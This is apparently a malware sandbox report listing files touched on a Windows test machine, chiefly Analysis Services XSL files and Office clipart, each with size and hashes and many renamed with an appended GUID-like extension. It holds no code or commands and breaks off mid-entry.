C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 31.69 KB MD5: c635eeeadbbad102bc2d61b67d3b0fd6
SHA1: 8bbcb15dc52c4ea5785dd1420ae117cdf240f139
SHA256: d1c71ebd519ac09f33ec0c4687d17c3d9794f83d448e238d68ecb22cbf3eb49a
SSDeep: 768:uN3tc9smSU/SeobINRUrMHKSNI02/mX8tdl6ueDrF6bUOQ:uNdkB/EbyKSnRXQ7SnOQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\msjet.xsl 28.30 KB MD5: efa6617fad71e6496c4ba467d34f4a5a
SHA1: 3a2cbe3a6c37a5bfec3545367c0cff6571423de9
SHA256: a89995d7265bd4ef9370f133e20391ebcaa4722f939487ab79f1a0457a2a448f
SSDeep: 384:fdMOrJnSprJlKpNeqrJQvnqiHr3iHrnFBbs5zs0wV0nZK3JnPnKzsQbGk/T/wIi3:VMvvnKMs0wV0n83JPnKOkEIibHb 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 29.77 KB MD5: e588d0981feaa1be88980b788c9c1c3c
SHA1: c0bac7239884abc0cf4269a6bb77d2e92b814bae
SHA256: 4517cc5d0c07d13857e4aa77e7fda23fadbc6511373915b63ebfe44f7d469b8a
SSDeep: 768:lWGRv/yeXv36g/T4nxMpZ3mwENWpwyjKHlq/OxOskt5jQ:J10g5pZWwqkh+Fq64ttQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 34.74 KB MD5: df1c4e19be8acd6d0bb71d3e83cc4b13
SHA1: fd3647755cd1bdcec61680a96669ee80b3709f33
SHA256: 2a807e32e23fe84976a268fbbb97f7121d6f6d6ce9c1a5dddd44d30664275a60
SSDeep: 768:2aJhIAXwXXbHsWEtsqtMCp4uvS1eW5O6Rvmp+0NilUVm9Q:nJKZIbC+S1emRupzTVm9Q 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql70.xsl 31.39 KB MD5: ffc9ac044a5b32a4bf00dd811de02d51
SHA1: 1f32fa8b0ce0b57a1db65f03cdc5bca4ad46bbf5
SHA256: 5d50b6ea07b65c848424b65d850dff3f82a246d836f0a81d8fb9f9c001ac0f8e
SSDeep: 384:fiOOrJnkpSlKpNeJMu/yvAqiHr3iHrnFBbs5zs0wVyuK90JnPnKzsxcV/mGk/T/i:KOGyvAKMs0wVyuK90JPnK7kcIibHb 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 32.86 KB MD5: 9a31fcebe46a3e07dcb1654d810dea68
SHA1: 342fd1cb02a81a4d079edff3dbd9fcc97afa8eb1
SHA256: eb0eef26faf413730bb20615cd8b32a7e7111d2cbcc09495e52500961f143cfa
SSDeep: 768:qLcjHEpToJZFbbasXp1naE0g1sbOMUuwswlFQ7ybrUQp3YScQ:qLokpToJZFdXp1T0BqM2FQGpp33cQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql90.xsl 38.59 KB MD5: b83cee1b3fcbd3f34d768191dd8331d0
SHA1: 882955922761c86f3b59ddb523d3aebd16239b76
SHA256: 81af20daa874492b0bdb15415151ad01ad76acb7b2604d0aa6d6ad5038fe8ab5
SSDeep: 768:GIfVV29KMs0wVEcu8BraQG5Whn7nKekcIibSJ0AKbTe:GGiKMs0wVEcu81aQGMhn7nKekLJ0AKby 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sybase.xsl 29.09 KB MD5: 994d59c43f7b46e5f3c8bdfbf0a4b3c3
SHA1: 8faf5dc3160327c541267a6b8f4bb33ce8557d00
SHA256: 5d40b295d339b25a85b078091296e9ff6940751c1ca4f52850bbdb8c5f27d62f
SSDeep: 384:N5mCDmlqiHr3iHrnFBbs5zs0wVN3hEnPBKzsxcV/HGk/T/VIibHr:N5NmlKMs0wVN3hEPBKekpIibHr 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 30.56 KB MD5: 2c4c7c4a9f1dcf68556fb623bec45d6f
SHA1: 5b452619c1533fe1b195d35edd95eb9b3625125d
SHA256: 21bc657a31010ed02ee7db242300ec4445cc29d1a41e687600ef92c9e94ceb36
SSDeep: 768:GGQxRROlFmuRO3D+M5IBYEMNwrAFKdPdE9yySId1MlEQ:cfOlFm6OivMNwrOKdlkoId1MlEQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll.-16C06E83-81AD-7D23-B247-5A57886B0D29 652.34 KB MD5: 6ce58501dd744c3426852a3cf53aed9b
SHA1: 49b97ff02e468a51d99920dd8a344086c6095cae
SHA256: 48bca65f90fc25539aaadd4a83c7e1e6222207d125292b9443a56a193ec17cf9
SSDeep: 6144:JVG5g4GLrhwG4AQWmiYn5MCBJCDrvR9SRpN4bULEW:JVG5g4GLrhwG4AQWmiwMCBJC3qRn/L5 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.99 KB MD5: a999aebae69822609de294e273a3d105
SHA1: 74394d6ff6a070358e4a17949c38d78895723ae0
SHA256: c77221031fe762e4d7c17673ebd24b8c36c519f4bb6058ed9a4a3f152e7f22d6
SSDeep: 384:ve0RTLOk/tTDpQ/cSDbC1dynCEYs8AFrbfcZQpijfYZS:veM/tTC3AU8Orrc0oYQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00004_.gif 8.81 KB MD5: b7a0d1b81ea08e046193e6cf1a93141c
SHA1: 9327a14cf5cfba54faa88b688256363aed21d4b5
SHA256: 0ddee161ee17f276791e89f05331236276c1dbf6b8ec3e3a29acb06fa5477321
SSDeep: 192:D/TCj+tFJu5/8pFWXeWAFY6xNSPVjdUw0VVNntG9iTVvM/QWdSPVjdUw0V:D/T2EUSFWXeWAy80VBUFVdNU/0VBUF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.28 KB MD5: 3c711e0988ce52c373efebebaa68afd4
SHA1: cca147da528d758acdc88e66d13595b434904a89
SHA256: c6dc16c2fc26768ec6af7436eeb48e3fc138f822ba0e724aadf048469428755e
SSDeep: 192:b/ejihvTVeR0uBfVvCRGf5ZBEjanWKovMqSMkiK7ktkCp/6:bGuhvTVeR06pCw5ZSWnxqS5iNZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00011_.gif 7.05 KB MD5: eba08318eb8296274327a65acff25d5f
SHA1: af9e13e8904f68c030831e45c60533f5c0c6eaf5
SHA256: b242b726e8b7be708a2bdb4232c460a760e70c7b490ce2f3bfda9383254bdd9b
SSDeep: 192:0nsybGduWvD72oug7BAUo6TyD8VUJqUGLx5ED1GLx5qc:0nsGWL72ox7BA94yD8KJqUO5EhO5qc 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00021_.gif 14.53 KB MD5: 6b4814db5a6dae003a34215cc7233688
SHA1: 7f2b7b3aa60553c246177384b34f63ef2e4065c0
SHA256: 0dafec9f47640bc23ac83e0b6a9c539617adc9e735944ace3ee5844367fc8680
SSDeep: 384:kRFG8Fjt5X65VpMXD+7XM4OEWlvKGxNNSN/0Y54OEW5:ki8FRLDo84/WlSKN2/0m4/W5 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00037_.gif 6.53 KB MD5: 04ab4e31eeaf26717a16fcf4010470df
SHA1: 324dcfc905f950cdb47e0487528410fc674e0992
SHA256: 2d079e7dd0a737fc88be9a5cf7cd7d9c0e21acbb5ce43135d338c97c8eddd942
SSDeep: 192:22acBRn658GECWSmP9r2mMJTQQ8aMcQQhE4Xrs:22DPn6Wnr71rDeXM6lrs 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00038_.gif 3.18 KB MD5: 03922ea646ede24e221d0c8bb097864b
SHA1: 5cfd068f8503c81ee7023f71fb0cd7b651e48557
SHA256: a2bd2aa4d4d6c13d4018b79fa64bef439961229368e0c939e1805d087850ae18
SSDeep: 96:vofQSxliD1zwiZexIClxRLtXHJKmsLYdJ:UQSxliD1zw1FNLzKVIJ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.64 KB MD5: ee72d5626645932292f30ca27ab9aaf2
SHA1: 88c142a6e5d2f0c7e4ef5471c2d4651c50eda753
SHA256: b5d942dfc106cab3b2b9757b09e984742c0c04d62b0d9d567c422158fc82384a
SSDeep: 96:kxl8EChrcgRbZrDvKbSRxFY7KsxvADedo+wlZoqtbeQ1fFyV7kFj1+NrQpwZ66:kxbCmgfNY7KsbwlZreQ1E7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00052_.gif 7.51 KB MD5: 83da96423fe8f73a6f388b3a7214e0d6
SHA1: bec0b2646575ba7f3b15325998298badf8300607
SHA256: 58df7eb225d924b2d88b19b937840191d65cdf65dcf9a01b61e6c39b3f3c4f3d
SSDeep: 96:tCcNHHjAt9W/BWFoLXo89BXJ9MgPXjTorod0ZZlJueFj0Ld2HbEPgf33UhGc28ZJ:ndHUIDY8zXXXvoy4RHHhuP2vT2VIw8S 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 1.96 KB MD5: 04ac02ef9dadc844dcd508b114e771be
SHA1: b04c70a646daf292b1f5dd9ab72e1bedcf32978d
SHA256: e75c402c560fac11f49c711334278a0da42d81d7e1537d86c2c02957a19b9963
SSDeep: 48:Jma4j7qVmoqsq1DeNgt0VR5kFj93+39rQpR62idl6rKj:4a4j7uBqsqReWt0V7kFj1+NrQpwZ66 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00103_.gif 12.41 KB MD5: d684d9a72fc99ed04dff14f7cba1a31d
SHA1: 409c9f244666fffe3cb80c5fa0e7153ee5e4809d
SHA256: 777c417316e2bdb1e6a2d3b6117a095239d4bbde77f7f2b5972ae4f8b7c133dd
SSDeep: 384:0MC8SOcnsgNYMC8SOcbsgNQMC8SOcssgNe:NC8iTzC8i3rC8iQc 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00129_.gif 12.19 KB MD5: b49b0e4456705b0a313192f226a8df79
SHA1: c6e58070f2fdd40bfe90cd6329cad0ff18ccbf59
SHA256: 936e00106dc94df96a5f5b33c46fedac649fdcbb3ae27a882a6ffec0b57d6b0c
SSDeep: 384:kRPk5cf+ejgTbCgsm7h3XKw1h4D3KAy7fWlVdzlRrc71g4VU:kRWzejgTbCg/96WuD3KAy7f8/7rH4VU 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.66 KB MD5: f608159ef45634abd9c233d14390498a
SHA1: ba0d54d232b8c4553f60e05b60a64c83794f61c8
SHA256: 61c9eff8d310f3ce43d4e9b0e477d48b98abda92a31698dfebb2daf220c637e3
SSDeep: 384:0MgTg/4OkZ9ngqPE6GMtYStanjCAQ0Q46jAZS:bgsQOkLndZtYsan+v46EQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.60 KB MD5: 27d2e41d4f5002447a482654df9c8d18
SHA1: 8d2ded8f13514f7f735730062933363969f46e88
SHA256: 70d1c3edeb62e2384b6af32f6dd07b865672c3b1df5ad01b30c99fc38ecfebad
SSDeep: 192:tmxewQaEsl/Xykb6PY6FT1ZL5H7ktkCp/6:t1El/ikb6w6FT35IZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00135_.gif 2.54 KB MD5: 4b39dc4b269cc1517b63128d21e1b992
SHA1: d9233138764cef93c784acd48a68897d8f5ecf85
SHA256: a5d027ec50b84a7eb2947886c9842ff98aab7f27a6b68e5182d75d15c63b6f16
SSDeep: 48:66X+RwpX6nRwpX6zsp2qBMrW5Iw+fBkQEJvX:d+Rw2Rw2sp2efIw+Zkt 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00142_.gif 14.95 KB MD5: 08fd30bcabc7e925e4c9c6a2ad81159f
SHA1: 96b072dd7933492aac05a6f4b72eaa6505f24c0d
SHA256: 4b2dbe47eafef62288bfdac3d4d2b2c3f940e28352d17fcb93c946b7eacd79a7
SSDeep: 384:pAD2kMBFSNqKFSbbFSXfFSUFQPM0aLFOU56Fi8F7w6NFSm:pFkg4qK8bSNuaLvkk8Jw6ND 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00154_.gif 5.19 KB MD5: e1279769f3cff9ed859f82228f7fbaa5
SHA1: c6ecc70cd36b3d55df617b80c33261932db15720
SHA256: 04056983aa58c525a8a2df874f1d04efaa929ed4441e1eacecebd230d615c608
SSDeep: 96:P42ZQz2ec4hBwNl/oR82ZQz2ec4hBwNl/oRyprALxlarZb:PjIJMNpo5IJMNpo0a9AF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.66 KB MD5: c557720eba80d358a90fae795fbb3d58
SHA1: e161417673f40079725561dbc1c3ede46a019e92
SHA256: e77575a045cc1ecc49b2c94e3082bee5958342fc629e3d63677145685d219bb0
SSDeep: 192:7qf1TBtVMXk0Q0VHh1SCbdMzhv7ktkCp/6:MBRM070D1xagZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.30 KB MD5: 2f0e95c29a8c72d70e21a6a306a8fc50
SHA1: da6d631098d384b00345f1280f2238a5db9bcf5f
SHA256: 4e0d57bd755bb77bf53e7571d375490434bcde13d7cbf84b1c48e9d928a4b96b
SSDeep: 192:0VPvKER46ap1P+5NpVvWHcYSC7ktkCp/6:09K56aIvO1KZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 2.58 KB MD5: 629e3d0afc58cee407fda5575a71897c
SHA1: 841aa919d4bc8d9e21fbfaa77c3929b68eb4fcc5
SHA256: 9c1cf1bed4622ddcdd4e250dc16411133f888f8c52e391dbaaaafe5b5428657d
SSDeep: 48:DQeFxWCg3AWzK8MV0DILgXibvVR5kFj93+39rQpR62idl6rKj:Dix3o8+0DILuibvV7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.88 KB MD5: e14a88b1d18dda69e75a19886cca6c3b
SHA1: 1a5b4836f33aad7f2090a199e4372f79dffca74b
SHA256: 4cbc08d91d0b3ab769cd5b6ca72edf8040cf2c6a3a62b30fd4e48aaf53252b48
SSDeep: 192:e0Nzc8i3wcfg6DlOJOIU7gqCO+gMgD0YVLNBk7ktkCp/6:z9cX3Y6+Oz7zvM0lbZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00163_.gif 6.82 KB MD5: 2a33cc608dabc48d315e76176ee9c1bd
SHA1: 581ddfd8a28f22d3be43f94c39195882f18fae2c
SHA256: 898940b679f296e73a05f5fad7e6561d25a4a7b406b480f9103687fb1c5e19f2
SSDeep: 192:5MAKqy88HEa7oQ1qwKDYdGzwGzKy885uE:5MAKQwDoQUwwrExE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00164_.gif 12.94 KB MD5: 86e4595e9624927514b5a7156fba7d1a
SHA1: 286c0a8dd51bdd388b668bdf8756a71b7adeb924
SHA256: b2c97fec7aa801123dccc6f383fb6fd31964e03155180ab36147074ecbf3373c
SSDeep: 384:yMAK0MAKYWkxfCfC/d4DMAKv85kyuYXMAKh2DGw4XwFBT:yMAK0MAKYWKqCmDMAK8kyHMAKh2D7c0T 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00165_.gif 8.38 KB MD5: f3b5bc2a12b94eb8be04cbf72e958cc2
SHA1: 6abc907ae96db439a8363382adb7c78a965dbd53
SHA256: 5f1eb007ed9d5ecb24f2a8d43d5ec4c2a278eafdee127b709005dce842ba5202
SSDeep: 192:4MAKJww9ZL6PHKuu6smEOO9W9jbGqSpP5huCBTFGpqzZl7XVN2Xm:4MAKJwwXOLJfEOO09HGqOjuwf7z 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.85 KB MD5: d00f4d4453be1e4a8d0abbba336a84d0
SHA1: 28749b4fa0ee7b49b3ac9a2ef849536bd3633b01
SHA256: 9b2d038d332cf61aba79426e34c31f99631febad09ab229bc80e1002c4abf405
SSDeep: 192:z9O+kOoBBWMk0RK1hXm4AF528mHrmMidTc3f8O8NQ8Y4kKVUZD7ktkCp/6:zksKYMdRKDX828mHiTcx8NQ8zkQ68ZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00167_.gif 4.78 KB MD5: a3727b2e8c9da4d59cf9a4f3829c4923
SHA1: 3d424c4958ec102abf08ff960f05087da6c6bc0e
SHA256: 2122de23c630c61219ed90ca0892805791e10df84847f44047cc462896feac5b
SSDeep: 96:1OAIMAEMQ7weKnbnL6KvZyl5KVoNKvaM33K8K6HXSNxG:8MAKR6n6NmoNrM33FKoCHG 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.25 KB MD5: 9cd43098a3042006a94e54aea722b613
SHA1: 2b3f4cf4eac2b9d77ddba24540111b47a3548799
SHA256: 76563050f4a9baf5146b728c210fb0df1b8eef1c4c0024078d067429d0959fa6
SSDeep: 96:fqgZpIiMTVxdR6imYU+FIcRFNbhj3Y/7biVRtY3NnJixrTvjvF8MbW2XqZOWYcKD:flnMT5EYI4hsNJixDaa16Gb7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00169_.gif 5.25 KB MD5: 55fe9db031fe62ca6693d9b0856253cc
SHA1: 8ac2cdeaf0ebcb5416d622dddc80e9a4a569a12a
SHA256: 95f66e46c724222060e6569d1c054013c1bd596ca8221d803d4fca79f71b1de9
SSDeep: 96:4AIMAEMQ7wUYQn1WHaefAZQ27+Qn1WHae4ZZ4tAE0R5njJlQn1WHaeTFykxB:oMAKn1n1W6efAZQ27/n1W6e4ZGarjJ6Y 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00170_.gif 9.03 KB MD5: ce72e16ad99f40592ecfa8a1b84d2b4c
SHA1: ce5c2b7da4eb631170a63275497d77d3a8b90cce
SHA256: e36a78baf6e3606418007a720504c442c6510c9b86803cdd034b36e20ea7e318
SSDeep: 192:32GGc1VJxWNMSZV3AAPHhHl3WAgf6IlhQBM1FaXX9YAjzhwdMH4b:ZGcpxWOS33tPHhHFWAgf6IlhQByFadYj 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.50 KB MD5: 3448cfc1898abe7ab7df420737af419d
SHA1: dd44b21f6273e1801ae088d520acc6ab6f398cf1
SHA256: 7dac1c7e9367b725a3a7b427366757f55945e95208380858004f11780c607f38
SSDeep: 192:zsEztS2lEauKBXVR5gfe3mp20dGFJ/JMbJ8kK6fNdqOakn+7ktkCp/6:QE5SjUVR5g8YcQBzfnqOaWpZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00171_.gif 4.90 KB MD5: 937eee75923f2c8a4da2f29cb53b1c26
SHA1: e0af83b6204bf5d4f4f11c328b822713b9dcb9af
SHA256: 8d3c1d0b5dd2d5aa0f9c1c63bc3eee57b66cd9fc4ae3eb095735fa6ba1cf24e5
SSDeep: 96:JAIMAEMQ7wfKqJu9ibRwBNosQvAa24zKkxS9w1HiEoq3VrWUxe9x5:tMAK1qci2GufmOct3hWUW5 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00172_.gif 4.29 KB MD5: b7ce4543f7438d163a6de7ff91a89ba8
SHA1: bd6d467ee8fe36658c3fbb6ab567d8faa8afbc48
SHA256: cf508a8bac5460924924e5858739c959588f4639d2350742f3318c0b8380942b
SSDeep: 96:1lfNph7zHShwvi0AzHShw7r4gYk2zHShwZ8zHShw/0xM9Qb:9HzHSKHAzHSJlVzHSy8zHSI+Z 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00174_.gif 3.87 KB MD5: 66d6a49ea4dd3aacc379a7e38639d579
SHA1: 83ffdf15e16b7af312700ce0db3289df6969fd52
SHA256: 4af586f5485c10fb69dcb61bf5c1c8e4fd6c01a213c73a199e2413dc5ff2cc51
SSDeep: 96:fDspSXIDfGFDft4slDfkDfXdSXzDfReDfBdZDfeEDfczFDfLfaDfGXuDf3m+:uSX4ct4spsgXR+BdleMczJLaG+3r 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00175_.gif 3.30 KB MD5: af8324028e2f56612a407f2219bf94d9
SHA1: 098fa9683375bc93229ec20bfdf83fd74089e6a3
SHA256: 24a72fa325e322809d4edc1a9250b44b7aac211ce5baf7a21a5112e78d65070a
SSDeep: 96:vlfNprrPO0sxPIb3BvP0EKalLdan2U/79xs:TxG0sqb3BAn53s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.77 KB MD5: ceabf32832e4a4749dee662e35f0187e
SHA1: c542deb9860c2c3312ee72789a628e55ac1d4fdf
SHA256: d38842e884b81246c745a4051f797b497dd29aaa4096bfa0b83fde2570e159da
SSDeep: 96:nybqpQbmJhA96Yz310E3OTgTZUWk25+WuUAGdXV7kFj1+NrQpwZ66:yWVUB3mbkTZUjWuUN7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.52 KB MD5: f560bda38aa610e6cd103c9a7bf94888
SHA1: a9cd04e1392437795a915ad54d517f627460e20e
SHA256: 714032b2623c6df769b25dfd444090aa077b20cebe8ca058e51d63ee6f71569a
SSDeep: 96:T4gqNZwPw4iCLdIBlDjR98yvRtaY9NCAr/c7V7kFj1+NrQpwZ66:TZqNZwPwHUdIBlXT8Itaicp7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.42 KB MD5: e3f51277cbd8eb5deb3c5d8d18748701
SHA1: 98ffddbb8d94eb6368ead77ad02a85505f34667c
SHA256: 173dc1cb35a33a9233dd44057ab65cefe092382144d4148be0148eed0cf67493
SSDeep: 96:BzLa3LqevzDQsgAmoW74ZYYR+A4WOq310vjXNfvxoSAaCB8V7kFj1+NrQpwZ66:BvEqevHVgAmoWiYYR+A4WapzvCBg7ktQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00015_.wmf 4.62 KB MD5: b213e94ad969763e66e6bb1ed00b6d51
SHA1: dbd158fa0305446b28cbe1eaf2dc5b36721d061d
SHA256: 1a69f23ef60ae979fbe478660bddc8cbd5cc6e6ce86ac6eee3f2d00592b8390f
SSDeep: 96:GPESShRLN7cgXcmAa375cOL/AcEPBirT0CkM7EO:G3+Fcs0k/zEiTjn 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.10 KB MD5: 4020dd86376bf131cb9bbf7d1142ad1c
SHA1: 17eb46bc92c987ea3266634fa59a98a66705b92b
SHA256: d72dc8ec9c223a7fcdafad93d434ce2561e87fd16270f7f8b68427b427e7d1fc
SSDeep: 192:hC7B6bruy7I7giY0kFg9j0SUnc7ktkCp/6:hpbfUEiYl8j0XnDZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00790_.wmf 5.55 KB MD5: f31c33c0025db3b5620c809299c94f48
SHA1: 405188a3fec6e2be1a65725118dd7aafe35f796c
SHA256: 3b30d10b728302e6e0db544d34a124c48175768a83e54a28bdedefb702e4cb73
SSDeep: 96:JVRPeywwyHx3jEsFyOl03QkKUVAuhjj9UzXTie6CeHpgstQt0SrcS:JVRPdwasrmjJUzvLeJTtQD9 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00914_.wmf 10.58 KB MD5: 5cc34de1e9c9d796627ea544e1321b15
SHA1: 48fa967e87de84a029d465ff53c758b66ffb766a
SHA256: b093207c97cb7411da05699bceec879b1a58a6397e12f6e57920aad4e67dae8e
SSDeep: 192:i/ikeWqGWTazAQ9GbekT9BKAX3MudiGLL/MzCPO0FEeiwvu4JepEbMzmjyaK1UpF:i6keWqGWT2AQkykT9sk3MetHUzCG0FGE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00932_.wmf 14.09 KB MD5: a6707fe694bff9914c85f6f050d510cc
SHA1: 8469a3f4a01109ea0680476e1027b07f9b3dd35c
SHA256: edf958924b2d0f401666a02f84a2d439bcddeea8b05014dcb007d8303192c119
SSDeep: 384:qjg0QL923IgqRYVBri7ITlAZrDTNuVXH+Xi4hb0IoaV5KdxTkYs9NBcnITG9tYh7:qjnQx23IgqGVBrWITlAZrD5uVXHEi4hJ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00965_.wmf 6.91 KB MD5: cd7ac3946dbd7e40aec469deee1a3d83
SHA1: f278d031fb531f1bdef804aedf30e5da241da0f8
SHA256: 699266855ff5957496412c5225e0d3088e19b19d114f19f49c4f78fe9f6d6db1
SSDeep: 192:a9v0YlK4Fbw4KYxhi4s7x6FoGf3BFGJ+zMRtiGy/HAwW8uE8JtHZzTv/zEPAQbB5:a9v0YlK4b/KYxhi4sVkoGf3BFGJ+zMRu 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01044_.wmf 1.56 KB MD5: 1d486b58cce27f925ef552a5b7777f96
SHA1: 16468e1c6d700e6f80571dfa4eba4d9c3dcc4bae
SHA256: d7f5a1bdeacbb4d2fd587b7f523f540ea0200db9a31da0eaafcc4f585b7d489f
SSDeep: 48:uEsK4/Aw9Vp8r1N453kWoRM8k1EPVyyz/p4c:o1wpN450Wommyyz/l 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01060_.wmf 7.78 KB MD5: 3bcba746a50f552521131eacdf2b38f7
SHA1: cbbc8f09dd5e922683eb663b34512b71a06e1a2f
SHA256: de68d15b433aab451ac74063265af5693ceed4086dea2ee53f6d9489cdfa93ae
SSDeep: 192:TOSB0q9J0QDaZ8vO1O9/Dl8McpjWJ+46uW5fh1SS4hIukUBBTvxPnx+y:TRd0QWZDO9/Dl83RWJ/k1SSNukUHTxPn 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01084_.wmf 1.79 KB MD5: c5612b2d5032988549aa628a7d54aba1
SHA1: 4caefc3b8957df523fdf5489bab39f2e0e227015
SHA256: ddd5850c945b5dec1a1ccb707aa4cb7dc5340d642069ddd2b820dc4e4878537b
SSDeep: 48:xBK4/rhS0SnQHOmQ+W0nWhUYkKPRotkLkYl0LkyLkOBwTLkYANc:xB1NS0SQeN0UxNubY3jaYAm 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01174_.wmf 27.21 KB MD5: 0982265ced5c29c25e2c40f542634e83
